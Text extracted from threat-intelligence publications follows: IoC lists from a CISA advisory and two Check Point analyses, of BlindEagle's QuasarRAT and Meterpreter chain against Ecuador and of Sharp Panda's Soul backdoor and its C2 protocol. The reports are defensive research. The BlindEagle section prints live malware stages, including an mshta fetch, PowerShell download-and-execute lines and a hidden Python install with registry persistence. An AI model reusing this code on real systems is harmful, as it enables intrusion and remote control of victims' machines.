+CB83E5CB264161C28DE76A44D0EDB450745E773D24BEC5869D85F69633E44DCF +CD3584D61C2724F927553770924149BB51811742A461146B15B34A26C92CAD43 +EBE231C90FAD02590FC56D5840ACC63B90312B0E2FEE7DA3C7606027ED92600E +F1B40E6E5A7CBC22F7A0BD34607B13E7E3493B8AAD7431C47F1366F0256E23EB +C7B01242D2E15C3DA0F45B8ADEC4E6913E534849CDE16A2A6C480045E03FBEE4 +4BF1915785D7C6E0987EB9C15857F7AC67DC365177A1707B14822131D43A6166 +GraphicalProton HTTPS backdoor: +18101518EAE3EEC6EBE453DE4C4C380160774D7C3ED5C79E1813013AC1BB0B93 +19F1EF66E449CF2A2B0283DBB756850CCA396114286E1485E35E6C672C9C3641 +1E74CF0223D57FD846E171F4A58790280D4593DF1F23132044076560A5455FF8 +219FB90D2E88A2197A9E08B0E7811E2E0BD23D59233287587CCC4642C2CF3D67 +92C7693E82A90D08249EDEAFBCA6533FED81B62E9E056DEC34C24756E0A130A6 +B53E27C79EED8531B1E05827ACE2362603FB9F77F53CEE2E34940D570217CBF7 +C37C109171F32456BBE57B8676CC533091E387E6BA733FBAA01175C43CFB6EBD +C40A8006A7B1F10B1B42FDD8D6D0F434BE503FB3400FB948AC9AB8DDFA5B78A0 +C832462C15C8041191F190F7A88D25089D57F78E97161C3003D68D0CC2C4BAA3 +F6194121E1540C3553273709127DFA1DAAB96B0ACFAB6E92548BFB4059913C69 +Backdoored vcperf: +D724728344FCF3812A0664A80270F7B4980B82342449A8C5A2FA510E10600443 +Backdoored Zabbix installation archive: +4EE70128C70D646C5C2A9A17AD05949CB1FBF1043E9D671998812B2DCE75CF0F +Backdoored Webroot AV installation archive: +950ADBAF66AB214DE837E6F1C00921C501746616A882EA8C42F1BAD5F9B6EFF4 +Modified rsockstun +CB83E5CB264161C28DE76A44D0EDB450745E773D24BEC5869D85F69633E44DCF +Network IoCs +Page 26 of 27 | Product ID: AA23-347A +TLP:CLEAR +TLP:CLEAR +International Partnership +Tunnel Endpoints +65.20.97[.]203 +65.21.51[.]58 +Exploitation Server +103.76.128[.]34 +GraphicalProton HTTPS C2 URL: +hxxps://matclick[.]com/wp-query[.]php +Page 27 of 27 | Product ID: AA23-347A +TLP:CLEAR +BlindEagle Targeting Ecuador With Sharpened Tools +research.checkpoint.com/2023/blindeagle-targeting-ecuador-with-sharpened-tools +January 5, 2023 +Research by: Marc Salinas Fernandez. +HIGHLIGHTS: +APT-C-36, also known as Blind Eagle, is a financially motivated threat group that has been launching indiscriminate attacks against +citizens of various countries in South America since at least 2018. +In a recent campaign targeting Ecuador based organizations, CPR detected a new infection chain that involves a more advanced +toolset. +The backdoor chosen for this campaign is typically used by espionage campaigns, which is unusual for this group +ACTIVE CAMPAIGNS AGAINST COLOMBIAN TARGETS +For the last few months, we have been observing the ongoing campaigns orchestrated by Blind Eagle, which have mostly adhered to the TTPs +described above + phishing emails pretending to be from the Colombian government. One typical example is an email purportedly from the +Ministry of Foreign Affairs, threatening the recipient with issues when leaving the country unless they settle a bureaucratic matter. +Such emails usually feature either a malicious document or a malicious link, but in this case, the attackers said +why not both? + and included +both a link and a terse attached PDF directing the unfortunate victim to the exact same link. +In both cases, the link in question consists of a legitimate link-shortening service URL that geolocates victims and makes them communicate +with a different +server + depending on the original country ( https://gtly[.]to/QvlFV_zgh ). If the incoming HTTP request originates from +outside Colombia, the server aborts the infection chain, acts innocent and redirects the client to the official website of the migration +department of the Colombian Ministry of Foreign Affairs. +If the incoming request seems to arrive from Colombia, the infection chain proceeds as scheduled. The server responds to the client with a file +for download. This is a malware executable hosted on the file-sharing service MediaFire. The file is compressed, similar to a ZIP file, using the +LHA algorithm. It is password-protected, making it impervious against naive static analysis and even naive sandbox emulation. The password +is found both in the email and in the attached PDF. +The malicious executable inside the LHA is written in .Net and packed. When unpacked, a modified sample of QuasarRAT is revealed. +QuasarRAT is an open source trojan available in multiple sources like Github. The (probably Spanish-speaking) actors behind this APT group +have added some extra capabilities over the last few years, which are easy to spot due to the names of functions and variables in Spanish. This +process, by which threat actors abuse access to malware sources and each create their own special versions of that malware, is sadly not +without precedent in the security landscape and always makes us heave a sad sigh when we encounter it. +Although QuasarRAT is not a dedicated banking Trojan, it can be observed from the sample +s embedded strings that the group +s main goal in +the campaign was to intercept victim access to their bank account. +This is a complete list of targeted entities: +Bancolombia Sucursal Virtual Personas +Sucursal_Virtual_Empresas_ +Portal Empresarial Davivienda +BBVA Net Cash +Colpatria + Banca Empresas +bancaempresas.bancocajasocial.com +Empresarial Banco de Bogota +conexionenlinea.bancodebogota.com +AV Villas + Banca Empresarial +Bancoomeva Banca Empresarial +TRANSUNION +Banco Popular +portalpymes +Blockchain +DashboardDavivienda +Some extra features added to Quasar by this group are a function named +ActivarRDP + (activate RDP) and two more to activate and deactivate +the system Proxy: +Along with a few more commands that incur technical debt by impudently disregarding Quasar +s convention for function name and parameter +order: +A BETTER CAMPAIGN FEATURING NEWER TOOLS +One specific sample caught our attention as it was related to a government institution from Ecuador and not from Colombia. While Blind Eagle +attacking Ecuador is not unprecedented, it is still unusual. Similarly to the campaign described above, the geo-filter server in this campaign +redirects requests outside of Ecuador and Colombia to the website of the Ecuadorian Internal Revenue Service: +If contacted from Colombia or Ecuador, the downloaded file from Mediafire will be a RAR archive with a password. But instead of a single +executable consisting of some packed RAT, the infection chain, in this case, is much more elaborate: +Inside the RAR archive, there is an executable built with PyInstaller with a rather simplistic Python 3.10 code. This code just adds a new stage +in the infection chain: +import os +import subprocess +import ctypes +ctypes.windll.user32.ShowWindow(ctypes.windll.kernel32.GetConsoleWindow(), 0) +wsx = 'mshta [.] to/dGBeBqd8z' +os.system(wsx) +mshta is a utility that executes Microsoft HTML Applications, and the attackers abuse it here to download and execute the next stage, which +contains VBS code embedded in an HTML. + +Usually campaigns by Blind Eagle abuse legitimate file sharing services such as Mediafire or free dynamic domains like +*.linkpc.net +; this case +is different, and the next stage is hosted at the malicious domain upxsystems[.]com. +This next-stage downloads and executes yet another next-stage, a script written in Powershell: +function StartA{ +[version]$OSVersion = [Environment]::OSVersion.Version +If ($OSVersion -gt "10.0") { +iex (new-object net.webclient).downloadstring("https://[malicious domain]/covidV22/ini/w10/0") +} ElseIf ($OSVersion -gt "6.3") { +iex (new-object net.webclient).downloadstring("https://[malicious domain]/covidV22/ini/w8/0") +} ElseIf ($OSVersion -gt "6.2") { +iex (new-object net.webclient).downloadstring("https://[malicious domain]/covidV22/ini/w8/0") +} ElseIf ($OSVersion -gt "6.1") { +iex (new-object net.webclient).downloadstring("http://[malicious domain]/covidV22/ini/w7/0") +StartA +The above Powershell checks the system version and downloads the appropriate additional Powershell. This additional OS-specific Powershell +checks for installed AV tools and behaves differently based on its findings. +The main difference between each next stage consists in different pieces of code that will try to disable the security solution (for example +Windows Defender), but in all cases, regardless of the type of security solution installed on the computer, the next stagewill download a version +of python suitable for the target OS and install it: +Function PY(){ +if([System.IntPtr]::Size -eq 4) +$progressPreference = 'silentlyContinue' +$url = "" +$output = "$env:PUBLIC\\py.zip" +$start_time = Get-Date +$wc = New-Object System.Net.WebClient +$wc.DownloadFile($url, $output) +New-Item "$env:PUBLIC\\py" -type directory +$FILE=Get-Item "$env:PUBLIC\\py" -Force +$FILE.attributes='Hidden' +$shell = New-Object -ComObject Shell.Application +$zip = $shell.Namespace("$env:PUBLIC\\py.zip") +$items = $zip.items() +$shell.Namespace("$env:PUBLIC\\py").CopyHere($items, 1556) +start-sleep -Seconds 2; +Remove-Item "$env:PUBLIC\\py.zip" +Remove-Item "$env:USERPROFILE\\PUBLIC\\Local\\Microsoft\\WindowsApps\\*.*" -Recurse -Force +Remove-Item "$env:USERPROFILE\\AppData\\Local\\Microsoft\\WindowsApps\\*.*" -Recurse -Force +setx PATH "$env:path;$env:PUBLIC\\py" +New-Item -Path HKCU:\\Software\\Classes\\Applications\\python.exe\\shell\\open\\command\\ -Value +"""$env:PUBLIC\\py\\python.exe"" ""%1""" -Force +Set-ItemProperty -path 'hkcu:\\Software\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\Shell\\MuiCache\\' -name +"$env:PUBLIC\\py\\python.exe.ApplicationCompany" -value "Python Software Foundation" +Set-ItemProperty -path 'hkcu:\\Software\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\Shell\\MuiCache\\' -name +"$env:PUBLIC\\py\\python.exe.FriendlyAppName" -value "Python" +.... +It will then download two scripts named mp.py and ByAV2.py which will be stored in the user %Public% folder and for which it will create +a scheduled task that will run every 10 minutes. For Windows 7 the task will be created by downloading an XML from the C2 +upxsystems[.]com +, while for Windows 8, 8.1, and 10 the malware will create the task using the cmdlet +New-ScheduledTask* +In the case of Windows 7, the task is preconfigured to be executed as System and contains the following description + Mantiene actualizado tu software de Google. Si esta tarea se desactiva o se detiene, tu software de Google no se mantendr +actualizado, lo que implica que las vulnerabilidades de seguridad que puedan aparecer no podr +n arreglarse y es posible que algunas funciones no +anden. Esta tarea se desinstala autom +ticamente si ning +n software de Google la utiliza. +s written using the kind of Spanish that is commonly spoken in the target countries, which can be noticed for example with the use of +posible que algunas funciones no anden + instead of +no se ejecuten + or any other variation more common in different geographic regions. +The full description can be translated to: +Keeps your Google software up to date. If this task is disabled or stopped, your Google software will not be kept up to date, which means +that security vulnerabilities that may appear cannot be fixed and some features may not work. This task is automatically uninstalled if no +Google software uses it. +After downloading the Python scripts and adding persistence, the malware will try to kill all processes related to the infection. +Regarding the two downloaded scripts, both are obfuscated using homebrew encoding that consists of base64 repeated 5 times (we will never, +ever, tire of responding to such design choices with +known to be 5 times as secure as vanilla base64 +After deciphering these strings for each script we obtain two different types of Meterpreter samples. +ByAV2.py +This code consists of an in-memory loader developed in Python, which will load and run a normal Meterpreter sample in DLL format that uses +tcp://systemwin.linkpc[.]net:443 + as a C2 server. +Python has a built-in PRNG, and in principle no one is stopping you from constructing a stream cipher based on it, which is what the malware +authors do here. The embedded DLL is decrypted using this makeshift +randint stream cipher + with an embedded key (in this construction the +key is used as the seed to prime the random library). In the grand tradition of cryptography used inside of malware purely to obfuscate buffers +using a hardcoded key, the question of how secure this makeshift cipher is has exactly zero consequences. +mp.py +The second script basically consists of another sample of Meterpreter + this time a version developed entirely in Python and using the same C2 +server. We can only speculate on why the server was configured to drop the same payload with the same C2 server but written in a different +language; possibly one of the samples acts as a plan B in case of the other sample gets detected by some antivirus solution and removed. +CONCLUSION +Blind Eagle is a strange bird among APT groups. Judging by its toolset and usual operations, it is clearly more interested in cybercrime and +monetary gain than in espionage; however, unlike most such groups that just attack the entire world indiscriminately, Blind Eagle has a very +narrow geographical focus, most of the time limited to a single country. This latest campaign targeting Ecuador highlights how, over the last +few years, Blind Eagle has matured as a threat + refining their tools, adding features to leaked code bases, and experimenting with elaborate +infection chains and +Living off the Land + as seen with the clever abuse of mshta . If what we +ve seen is any indication, this group is worth +keeping an eye on so that victims aren +t blindsided by whatever clever thing they try next. +Check Point +s anti-phishing solutions for office 365 & G suite analyzes all historical emails in order to determine prior trust relations between +the sender and receiver, increasing the likelihood of identifying user impersonation or fraudulent messages. Artificial Intelligence (AI) and +Indicators of Compromise (IoCs) used in the past train the Harmony Email & Office platform for what to look for in complex zero-day phishing +attacks. +IOCs +8e864940a97206705b29e645a2c2402c2192858357205213567838443572f564 +2702ea04dcbbbc3341eeffb494b692e15a50fbd264b1d676b56242aae3dd9001 +f80eb2fcefb648f5449c618e83c4261f977b18b979aacac2b318a47e99c19f64 +68af317ffde8639edf2562481912161cf398f0edba6e06745d90c1359554c76e +61685ea4dc4ca4d01e0513d5e23ee04fc9758d6b189325b34d5b16da254cc9f4 +https://www.mediafire[.]com/file/cfnw8rwufptk5jz/migracioncolombiaprocesopendienteid2036521045875referenciawwwmigraciongovco.LHA/file +https://gtly[.]to/QvlFV_zgh +https://gtly[.]to/cuOv3gNDi +https://gtly[.]to/dGBeBqd8z +laminascol[.]linkpc[.]net +systemwin[.]linkpc[.]net +upxsystems[.]com +c63d15fe69a76186e4049960337d8c04c6230e4c2d3d3164d3531674f5f74cdf +353406209dea860decac0363d590096e2a8717dd37d6b4d8b0272b02ad82472e +a03259900d4b095d7494944c50d24115c99c54f3c930bea08a43a8f0a1da5a2e +46addee80c4c882b8a6903cced9b6c0130ec327ae8a59c5946bb954ccea64a12 +c067869ac346d007a17e2e91c1e04ca0f980e8e9c4fd5c7baa0cb0cc2398fe59 +10fd1b81c5774c1cc6c00cc06b3ed181b2d78191c58b8e9b54fa302e4990b13d +c4ff3fb6a02ca0e51464b1ba161c0a7387b405c78ead528a645d08ad3e696b12 +ac1ea54f35fe9107af1aef370e4de4dc504c8523ddaae10d95beae5a3bf67716 +GO UP +BACK TO ALL POSTS +Pandas with a Soul: Chinese Espionage Attacks Against Southeast Asian Government +Entities +research.checkpoint.com/2023/pandas-with-a-soul-chinese-espionage-attacks-against-southeast-asian-government-entities +March 7, 2023 +Executive summary +In 2021, Check Point Research published a report on a previously undisclosed toolset used by Sharp Panda, a long-running Chinese cyberespionage operation targeting Southeast Asian government entities. Since then, we have continued to track the use of these tools across several +operations in multiple Southeast Asian countries, in particular nations with similar territorial claims or strategic infrastructure projects such as +Vietnam, Thailand, and Indonesia. +Key findings: +In late 2022, a campaign with an initial infection vector similar to previous Sharp Panda operations targeted a high-profile government +entity in the region. +While Sharp Panda +s previous campaigns delivered a custom and unique backdoor called VictoryDll, the payload in this specific attack is +a new version of SoulSearcher loader, which eventually loads the Soul modular framework. Although samples of this framework +from 2017-2021 were previously analyzed, this report is the most extensive look yet at the Soul malware family infection chain, including +a full technical analysis of the latest version, compiled in late 2022. +Although the Soul malware framework was previously seen in an espionage campaign targeting the defense, healthcare, and ICT sectors +in Southeast Asia, it was never previously attributed or connected to any known cluster of malicious activity. Although it is currently not +clear if the Soul framework is utilized by a single threat actor, based on our research we can attribute the framework to an APT group with +Chinese origins. +The connection between the tools and TTPs (Tactics, Techniques and Procedures) of Sharp Panda and the previously mentioned attacks +in Southeast Asia might serve as yet another example of key characteristics inherent to Chinese-based APT operations, such as sharing +custom tools between groups or task specialization, when one entity is responsible for the initial infection and another one performs the +actual intelligence gathering. +Introduction +At the beginning of 2021, Check Point Research identified an ongoing surveillance operation we named Sharp Panda that was targeting +Southeast Asian government entities. The attackers used spear-phishing emails to gain initial access to the targeted networks. These emails +typically contained a Word document with government-themed lures that leveraged a remote template to download and run a malicious RTF +document, weaponized with the infamous RoyalRoad kit. Once inside, the malware starts a chain of in-memory loaders, comprised of a custom +DLL downloader we call 5.t Downloader and a second-stage loader responsible for the delivery of a final backdoor. The final payload +observed in Sharp Panda campaigns at the time was VictoryDll, a custom and unique malware that enabled remote access and data collection +from the infected device. We tracked several earlier versions of the VictoryDll backdoor back to at least 2017, with the whole operation +remaining under the radar the entire time. +Further tracking of Sharp Panda tools revealed multiple campaigns that targeted entities in Southeast Asian countries, such as Vietnam, +Indonesia, and Thailand. During this time, multiple minor changes were implemented in the 5.t Downloader itself, but in general, the initial +part of the infection chain (the use of Word documents, RoyalRoad RTF and 5.t Downloader) remained the same. However, in early 2023, +when investigating an attack against one of the government entities located in the targeted region, the payload received from the actor +s geofenced C&C server was different from the VictoryDll backdoor observed before. Further analysis revealed that this payload is a new version +of SoulSearcher loader, which is responsible for downloading, decrypting, and loading in memory other modules of the Soul modular +backdoor. +1/10 +Figure 1 + The infection chain. +The use of the Soul malware framework was described by Symantec in relation to the unattributed espionage operation targeting defense, +healthcare, and ICT sectors in Southeast Asia in 2020-2021. Following up on that report, Fortinet researchers discovered other samples from +2017-2021 and described the evolution of the framework. Soul was also seen in 2019 in attacks against Vietnamese targets. None of these +public reports attributed the Soul framework to any specific country or known actor, although researchers noted the +competent adversarial +tradecraft + which they believed indicated a +possibly state-sponsored + group. +In this report, we provide a detailed technical explanation of several malicious stages used in this infection chain and the latest changes +implemented in the Soul framework. We also discuss the challenges in attributing these attacks. +Downloader +The downloader, which in this specific case was dropped by RoyalRoad RTF to the disk as res6.a , is executed by a scheduled task +with rundll32.exe, StartA . Its functionality is consistent with previous research of Sharp Panda activity. Similar to previous Sharp Panda +campaigns, the C&C servers of the attackers are geofenced and return payloads only to requests from the IP addresses of the countries where +the targets are located. +In the latest campaign, the actors implemented some changes in the downloader +s communication with the C&C. Previously, the entire C&C +communication was based on sending data encrypted using RC4 and encoded with base64, with an exception for the HTTP request for payload +which contained the hostname in plain text in the URI: /[**hostname]**.html. +However, in the new samples, the payload request is issued to the same PHP path as all the previous requests, with the host specified in its +parameter, both MD5-hashed and in clear-text: [host_name]*[host_name_md5] , +e.g. MyComputer*d2122d4f4cdf26faa1b2f73bda6030f4 and then encoded: +/[php_name].php?Data=[encoded] +s noteworthy that while different keys were used, the encoding method using RC4+Base64 remained consistent in all cases. +In addition to changes in the URL patterns, the actors refrained from using the distinctive User-Agent +Microsoft Internet +Explorer + and instead used a hardcoded generic one. A few of the samples we observed also communicated through HTTPS, not HTTP. +Unlike the previous version where only the API calls were obfuscated, the new version also uses string encryption. However, the encryption is +quite simple and consists of loop XORing an encrypted character with the difference of a loop index and a constant value: +Figure 2 + String decryption routine in the newest version of 5.t Downloader. +As in previous versions, the downloader gathers data from the victim +s computer including hostname, OS name and version, system type +(32/64 bit), username, MAC addresses of the networking adapters, and information on anti-virus solutions. If the threat actors find the victim +machine to be a promising target, the response from the server contains the next stage executable in encrypted form and its MD5 checksum. +After verifying the integrity of the received message, the downloader loads the decrypted DLL to memory and starts its execution from +the StartW export function (the same name as the next stage loader export in previous campaigns that used the downloader). +2/10 +SoulSearcher loader +SoulSearcher is a second-stage loader, which according to Fortinet research was seen in the wild since at least November 2018 and is +responsible for executing the Soul backdoor main module and parsing its configuration. SoulSearcher has multiple variants based on where the +configuration and payload are located and on the type of configuration. Among the samples used in the more recent activity cluster we have +been researching, the SoulSearcher DLL (sha256: d1a6c383de655f96e53812ee1dec87dd51992c4be28471e44d7dd558585312e0) was slightly +different from any previously discovered samples, with the backdoor embedded inside the data section and the embedded configuration in +XML format. +The malware checks if it runs under a process named svchost.exe , msdtc.exe or spoolsv.exe . If it does, it starts a thread +on StartW export and continues loading the backdoor. This might be an indication of the loader being used in different infection chains than +we observed in this attack with the rundll32.exe directly starting a chain of in-memory DLL loaders from StartW . +The payload loading process starts with obtaining the configuration. While previously seen XML SoulSearchers retrieved this from the registry, +a file mapping object, or a file on the disk, the newest version loads the config from a hardcoded Base64 string and stores it in the registry +path HKEY_CURRENT_USER\SOFTWARE\Microsoft\CTF\CONFIGEX . The decoded data blob can be represented with the following struct: +struct compressed_data +DWORD magic; +DWORD unused; +BYTE lzma_properties[5]; +DWORD size; +DWORD compressed_size; +BYTE decompressed_data_MD5[33]; +BYTE compressed_data_MD5[33]; +BYTE compressed_data[]; +The loader contains a compressed Soul backdoor DLL in the data section of the loader, while previous samples stored it in the overlay. +Next, based on the system architecture, SoulSearcher appends 32 or 64 to the wide string L'ServerBase' , hashes the resulting +string with MD5, and creates the registry key with this hash: HKEY_CURRENT_USER\SOFTWARE\Microsoft\CTF\Assemblies\ +[ServerBaseArch_md5] . The value contains the compressed payload. +If the registry key is successfully created, the loader reads the compressed payload and proceeds to decrypt and load it in memory. The loading +process itself is not different from previously discussed variants of SoulSearcher: it uses the compressed_data structure from the +configuration to validate MD5 checksums, LZMA-decompress the compressed module, and reflectively load the Soul main module DLL in +memory. +After loading the backdoor, Soul Searcher resolves the Construct export of the backdoor and calls it with the +arguments [ServerBaseArch_md5] -Startup . +Soul Backdoor (main module) +The Soul main module is responsible for communicating with the C&C server and its primary purpose is to receive and load in memory +additional modules. Interestingly, the backdoor configuration contains a +radio silence +-like feature, where the actors can specify specific hours +in a week when the backdoor is not allowed to communicate with the C&C server. +The recovered sample of the backdoor is quite different from the samples that were previously analyzed. The new version of SoulBackdoor was +compiled on 29/11/2022 02:12:34 UTC . Based on their timestamps, the earlier samples analyzed by other researchers are mostly from 2017 +with the exception of one from 2018, which, similar to our case, was embedded inside the SoulSearcher loader. +The backdoor implements a custom C&C protocol, which is entirely different than previously observed versions. Both the old and new versions +are based on HTTP communication, but the latest version seems to be more complex and uses various HTTP request methods such +as GET , POST , and DELETE . The API endpoints are also different, and the C&C requests contain additional HTTP request headers. In terms +of the backdoor functionality, the enumeration data is different from the previous versions and is more extensive. The supported C&C +commands, with the newer variant primarily focused on loading additional modules, lack any type of common backdoor functionality like +manipulating local files, sending files to the C&C, and executing remote commands. +3/10 +Configuration and execution flow +The backdoor requires two arguments or the + argument before performing its activity. As we mentioned earlier, in our case it is executed +by SoulSearcher with [ServerBaseArch_md5] -Startup arguments. +Soul backdoor first creates an event using the hardcoded name Global\3GS7JR4S and checks the registry +key HKEY_CURRENT_USER\SOFTWARE\Microsoft\CTF . It then uses the same configuration (from the registry +key HKEY_CURRENT_USER\SOFTWARE\Software\Microsoft\CTF\CONFIGEX ) with the compressed_data struct (as used by SoulSearcher) to +extract the payload and decompress its own configuration. The configuration of the main module provides the parameters of C&C +communication and other aspects of the backdoor execution. The compression algorithm is LZMA, similar to that found in older variants. After +decompression, the config looks like this: + + +http://103.159.132.96/index.php +8.8.8.8|114.114.114.114| + +80|443 +0 +NULL +NULL +false + + +IKEEXT +@%SystemRoot%\system32\ikeext.dll,-501 +@%SystemRoot%\system32\ikeext.dll,-502 +wlbsctrl.dll + + +NULL +1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1;1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1;1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1;1,1,1,1,1,1,1,1,1,1,1,1,1,1 + +2029-07-11 15:29:32 + + +In its base ( ) settings, the configuration contains the parameter + LstPort +. In the previous versions, this provided the backdoor the +ability to listen on a specified port. In this version, the code that supported this feature was removed, and the backdoor can only actively +connect to the C&C server using the URL provided in the + parameter on the +connect + port + Cnt +In the +advanced + section ( ) of the configuration, the + OlTime + parameter contains a list of 168 (24 +7) numbers, one per hour in a +week. Each hour is represented either by 0 or 1. Zero means a +blocked + hour, and one represents an +allowed + hour. This way the operators of +the malware can use the configuration to enforce the specific hours the backdoor is allowed to communicate with the C&C server. If +the OlTime field is empty in the config, a default setting is for all days and hours to be configured as +allowed +. This is an advanced OpSec +feature that allows the actors to blend their communication flow into general traffic and decrease the chances of network communication being +detected. The +service + ( ) section defines the parameters for the backdoor to be installed as a service: + +4/10 +IKEEXT +@%SystemRoot%\system32\ikeext.dll,-501 +@%SystemRoot%\system32\ikeext.dll,-502 +wlbsctrl.dll + +The Symantec publication also mentioned the Soul Searcher running as a service, but in the sample we analyzed, there is no code that +implements this feature. Judging by the settings left in the configuration we observed, the actors performed some variation of IKEEXT DLL +Hijacking, when on the start of the IKEEXT service, svchost.exe would load the malicious DLL, saved as wlbsctrl.dll . +After loading and parsing the configuration the backdoor checks the +registry HKEY_CURRENT_USER\SOFTWARE\Software\Microsoft\CTF\Assemblies for the existence of a key with the name of MD5 hash of the +wide string L"AutoRun" . If it exists, the backdoor decompresses, loads in memory, and executes the Construct export of the DLL stored in +this key. Although we didn +t witness the creation or usage of this additional DLL payload, this logic is likely used for auto-updates or executing +specific actions prior to the main backdoor activity. +After all of these steps are concluded, the backdoor begins the execution of its main thread. +C&C communication +The main thread begins by validating that it received from the configuration the C&C URL and DNS (or blog URL, which is empty in our case), +and that the C&C URL starts with http:// , https:// or ftp:// . In this specific sample, we did not observe any type of FTP +communication capabilities. Then, if the current hour is +allowed + by OlTime configuration, it begins the C&C communication. +Bot registration and victim fingerprinting +The first request is sent to the specified URL with the ClientHello parameter. The MD5 header is an MD5 hash of the body. As there is no +data transferred by this request, the MD5 ( d41d8cd98f00b204e9800998ecf8427e ) is of an empty string. In further analysis of the requests, +we omit the common headers (Cache-Control, Connection, User-Agent, MD5 and Host) as their meaning doesn +t change between the requests. +GET /index.php?ClientHello HTTP/1.1 +Cache-Control: no-cache +Connection: Keep-Alive +User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Win32) +MD5: d41d8cd98f00b204e9800998ecf8427e +Content-Length: 0 +Host: 103.159.132.96 +The expected response from the C&C server is ERR! ParamError! In case of a bad or no response, the backdoor attempts to resolve the IP +address of the C&C server on its own through the DNS servers in the config. +Figure 3 + C&C DNS resolution +If the response is correct, it saves the C&C IP address in this format: SVR:[IP_field_from_config]:[CntPort] to the registry +key HKEY_CURRENT_USER\SOFTWARE\Microsoft\CTF\SVIF . +5/10 +Next, the module performs a full system enumeration and collects the following data: +Processor name and the number of processors, total physical memory and total available physical memory, and information about the +hard disk such as total space and free space. +The OS architecture and various information from the HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion registry key such as +ProductName, CSDVersion, ProductId, RegisteredOwner, RegisteredOrganization etc. +Computer name and information about the current user, such as admin rights retrieved with NetUserGetInfo API. +Time zone information from +both HKLM\SYSTEM\CurrentControlSet\Control\TimeZoneInformation and HKLM\SOFTWARE\Microsoft\Windows +NT\CurrentVersion\Time Zones registry. +Local IP address of the machine, and its public IP address, obtained by issuing a request to one of the public IP resolution services such +as https://www.whatismyip.com/ : +Figure 4 + Victim machine enumeration data string +After the system enumeration, the backdoor generates a botUUID , concatenating with + two MD5 strings based on various parameters from +the enumerated data. It saves the botUUID to the registry key HKEY_CURRENT_USER\SOFTWARE\Microsoft\CTF\UUID . The +resulting botUUID looks like this: +5d41402abc4b2a76b9719d911017c592-7d793037a0760186574b0282f2f435e7 +and is used in all the following network requests. +New C&C connection +After the system enumeration, the backdoor issues a series of requests to +register + a new connection and perform validation against the C&C +server. +First, the backdoor notifies the server of a new connection. It is implemented as a DELETE request with the botUUID: +DELETE /index.php?[botUUID];[botUUID].txt HTTP/1.1 +The accepted response from the C&C: OK! +Next, the Connect request is sent, whose body contained Base64 of the string ConnectXXXXXXXX , where XXXXXXXX is the connection +timestamp retrieved by GetTickCount() API. +POST /index.php?[botUUID]/REQ.dat HTTP/1.1 +[Base64-encoded string] +The accepted response from the C&C: OK! +The following request prepares the server to receive the enumeration data from the victim +s machine: +GET /index.php?Enum;[botUUID]_[connection_timestamp].txt HTTP/1.1 +The accepted response from the C&C is a string that looks like this: ./Updata/[botUUID]_[connection_timestamp].txt . +This is most likely the path on the server to store the enumeration data. +After this the backdoor sends another network request, possibly for verification: +GET /index.php?D;[botUUID]_[connection_timestamp].txt HTTP/1.1 +The accepted response is a base64-encoded string that contains the botUUID. +At the end of this process, if all the requests are successful, the backdoor is +registered + at the C&C server and continues sending information +about the system. +Send enumerated data +6/10 +From this point on, the data sent between the backdoor and the C&C server relies on another struct, c2_body : +struct c2_body +DWORD special_flag; +DWORD additional_data; +DWORD const_float; +BYTE command_id; +const_float , where used, is a hardcoded value, 5.2509999. special_flag and additional_data seem to be multipurpose variables +that have different meanings in different contexts of the program execution. When sent in the body of both requests and responses, this struct +is compressed according to the previously described compressed_data struct from SoulSearcher, and then encoded with Base64. +First, the backdoor sends the current timestamp in the request to the following URL (a new timestamp is again retrieved +by GetTickCount() API). +POST /index.php?CU;[botUUID]_[connection_timestamp].txt;[botUUID]/Data_S_[session_timestamp].dat HTTP/1.1 +[base64-encoded and compressed c2_body] +In this request, special_flag is 0x00, command_id is 0x01 and additonal_data is the tick count. The accepted response +is OK! Otherwise, the backdoor sleeps and starts the connection from the beginning. +Next, the backdoor collects the enumeration data again, and compresses it using another struct: +struct enum_compressed_data +c2_body c2_msg; +compressed_data enum_data; +The struct is then encoded with Base64 and sent in the body of the following request (the URL and methods are the same): +POST /index.php?CU;[botUUID]_[connection_timestamp].txt;[botUUID]/Data_S_[session_timestamp].dat HTTP/1.1 +[base64-encoded and compressed enum_compressed_data] +The command_id is the same 0x01, special_flag =0, additional_data = 0x4000 + 0x49 = size of enum data. +The accepted response is also OK! +Main C&C loop +After posting the enumeration data, the backdoor enters an infinite loop, contacting the C&C server with the following request to receive the +commands: +GET /index.php?CDD;[botUUID]_[connection_timestamp].txt;[botUUID]_[connection_timestamp]/Data_C_* HTTP/1.1 +If there is no C&C command for the victim, the server responds with ERR! Path not found, WAIT! +If there is a command to execute, the C&C returns it in a base64-encoded string which is decompressed with compressed_data and parsed +as c2_body . Then the command_id from the struct is translated to the actual command execution. +Soul Backdoor Commands +The main commands that can be received from the C&C server are control messages for the bot: +7/10 +Command ID +Action +Description +0x04 +Execute command +Create a thread that handles commands from the second set of commands. +0x0D +Client keep-alive +Mirror the request from the C&C server. +0x0E +Restart C&C session +Send DELETE request and restart the communication from client Hello. +0x0F +Exit +Send DELETE request and exit process forcefully. +If in the c2_body the special_flag is set to one, the backdoor starts a continuous loop requesting data from the C&C server. The server +should respond with a module name to be loaded from the Computer\HKEY_CURRENT_USER\SOFTWARE\Microsoft\CTF\Assemblies registry +key, which is executed from its Construct export. Then the backdoor proceeds to execute the command specified in command_id . +If the command_id is 0x04 , the backdoor spawns a new +command execution + thread that performs a similar network communication flow +as the main thread, only without sending the enumeration data. +It then begins handling the following commands: +Command +Action +Description +Exit thread +If the command_flag is on stop, exit the +command execution + thread. Otherwise do nothing +0x61 +Install +modules +The server sends the number of modules to be written to the registry. Then the bot makes requests to the C&C +server, once per module and writes it to a specified registry key. Validate the result by executing +command 0x65 afterward. +All the registry keys are under Computer\HKEY_CURRENT_USER\SOFTWARE\Microsoft\CTF\Assemblies . +0x62 +Delete +modules +Delete registry keys that are sent by the C&C in a string separated by semi-colons (;). Validate the result by +executing command 0x65 afterward. +0x63 +Validate +modules +Validate that modules are currently compatible with the system architecture. The modules are located in the +registry, and registry keys names are sent by the C&C separated by a semi-colon. +0x64 +Load +module +Load the specified module and call its export function Construct . The registry key where the module is stored +is sent by the C&C server. +0x65 +Enumerate +modules 